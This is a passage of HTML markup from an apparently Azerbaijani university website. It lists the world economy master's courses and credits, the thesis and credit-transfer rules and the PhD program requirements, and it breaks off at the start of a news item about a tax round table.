width:12.0%;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e6e6e6;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">45</p></td></tr></tbody></table><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">QEYD: Fakültə digər alternativ fənlər təklif edə bilər.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:14.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Dünya iqtisadiyyatı</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Dünya iqtisadiyyatı&nbsp;proqramı iqtisadi təhlil, onun inkişafı və proqnozlaşdırılması, beynəlxalq ticarət və maliyyə problemlərinin qlobal inkişaf baxımından təhlilinə və makro səviyyədə uyğun idarəetmə qərarlarının qəbul edilməsinə dair biliklər aşılayır. Tələbələr müxtəlif biznes mühitində qərarların qəbul edilməsi üçün lazım olan bilikləri əldə edir, iqtisadi nəzəriyyəni və kəmiyyət üsullarını ətraflı öyrənirlər.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Proqramı bitirmək üçün tələbə 45 kredit toplamalıdır.</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"544\" width:407.8pt;margin-left:5.4pt;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\" style=\"box-sizing: border-box; border-spacing: 0px; border-collapse: collapse; background-color: rgb(255, 255, 255); border-style: solid; border-color: rgb(204, 204, 204); color: rgb(51, 51, 51); font-family: &quot;Source Sans Pro&quot;, sans-serif; font-size: 14px;\"><tbody><tr><td width=\"156\" width:117.0pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">CODE</p></td><td width=\"266\" width:199.35pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">COURSES</p></td><td border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.25pt\"\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">CREDITS</p></td></tr><tr><td width=\"156\" width:117.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:22.3pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"266\" width:199.35pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:22.3pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MATH 820</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Statistika və ekonometrika</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ECON 830</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İdarəetmənin iqtisadiyyatı</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 860</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Strateji idarəetmə</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MKT 850</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq marketinq</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\" width:117.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 828</p></td><td width=\"266\" width:199.35pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq menecment</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\" width:117.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 870</p></td><td width=\"266\" width:199.35pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.8pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Modelləşdirmə və optimallaşdırma</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ECON 825</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Dövlət sektorunun iqtisadiyyatı</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ECON 840</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İqtisadi inkişaf</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ECON 845</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İnsan qaynaqları və əmək bazarı</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 845</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq maliyyə</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 855</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Vergiqoyma və vergi siyasəti</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ECON 855</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Makroiqtisadi analiz və proqnozlaşdırma</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ECON 880</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq ticarət</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Seçmə fənlər</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">6</p></td></tr><tr><td width=\"156\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"266\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"156\" width:117.0pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">CƏMİ</p></td><td width=\"266\" width:199.35pt;border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td border-top:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.5pt;border-right:none;background:#e5e5e5;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">45</p></td></tr></tbody></table><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">QEYD: Fakültə digər alternativ fənlər təklif edə bilər.</p><p margin-top:10.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">&nbsp;</p><p margin-top:10.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Magistr tezisi</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Magistr proqramında nəzərdə tutulmuş 15 fənnin ikisini 6 kreditlik tezis ilə əvəz etmək olar.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Tezisə qoyulan tələblər və müdafiə qaydaları universitetin “Magistratura haqqında əsasnamə”sində ətraflı açıqlanıb.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Digər universitetlərdə toplanılmış kreditlərin qəbul edilməsi qaydaları</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Magistr tələbə başqa ali məktəblərdə uyğun magistr proqramında topladığı kreditlərin köçürülməsi barədə müraciət edə bilər. Kreditlərin köçürülməsi barədə qərarı ixtisas kafedrasının təqdimatı əsasında fakültə dekanı verir. Köçürülən kreditlərin sayı proqramın 50%-dən çox ola bilməz. Ancaq “B” və daha yüksək qiymətlər olan fənlərin köçürülməsinə icazə verilir. Kreditlərin köçürülməsinə dair ətraflı məlumat universitə kataloqunun “Ümumi qaydalar və prosedurlar” bölməsində verilib.</p><p margin-top:0in;margin-right:0in;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">PhD Proqramları</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Məqsədlər və gözləmələr</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">PhD proqramının əsas məqsədi iddiaçıların iqtisadi və biznes araşdırmaları sahəsində bacarıqlarının yüksək səviyyədə inkişaf etdirilməsidir. Bu məqsədi nail olmaq üçün tələbələrə ixtisaslaşdığı sahədə dərin nəzəri bilikləri əldə etmək, uyğun tədqiqat metodologiyasına və kəmiyyət üsullarına yiyələnmək imkanları verilir. PhD proqramında təhsil alan tələbələrin baza bilikləri və məqsədlərindən asılı olaraq müxtəlif fərdi yanaşmalardan istifadə edilir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">PhD proqramı üzrə təhsil alan tələbələr apardıqları tədqiqatda peşə biliklərini, səriştə və məharətlərini nümayiş etdirməlidirlər. İmtahanların nəticələri, kurs işlərinin müdafiəsi, tədqiqatlar və müvafiq hesabatlar tələbələrin biliklərinin dərinliyini, əhatə dairəsinin genişliyini və elmi yaradıcılıq məharətini təsdiq etməlidir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">PhD tələbəsi ən azı 7 fənn olmaqla və dissertasiya da daxil olmaqla 32-60 kredit toplamalıdır. Xüsusi hallarda daha çox kreditlərin toplanılması tələb oluna bilər. Tələbənin orta qiyməti 80 və daha yüksək olmalıdır.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Tədqiqat sahələri Maliyyə, Menecment və İqtisadiyyatdır.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Tədris proqramı</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Tədris proqramı biznesin idarə edilməsini və iqtisadiyyatın müxtəlif istiqamətlərini, tədqiqat üsulları və ixtisas fənlərini əhatə edir.</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Dissertasiya</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255);\">Dissertasiyaya qoyulan tələblər və müdafiə qaydaları “Doktorantura haqqında əsasnamə”- də ətraflı şərh olunur.</p>  <p style=\"font-family:arial, helvetica, sans-serif;font-size:small\"><br></p><p><strong></strong></p>'),(2300,1403,'az','Xəzər Universitetinin əməkdaşı Vergilər Nazirliyinin dəyirmi masasında çıxış etdi','2016-cı il oktyabrın 7-də Dövlətin vergi siyasətinin həyata keçirilməsinin, dövlət büdcəsinə vergilərin və 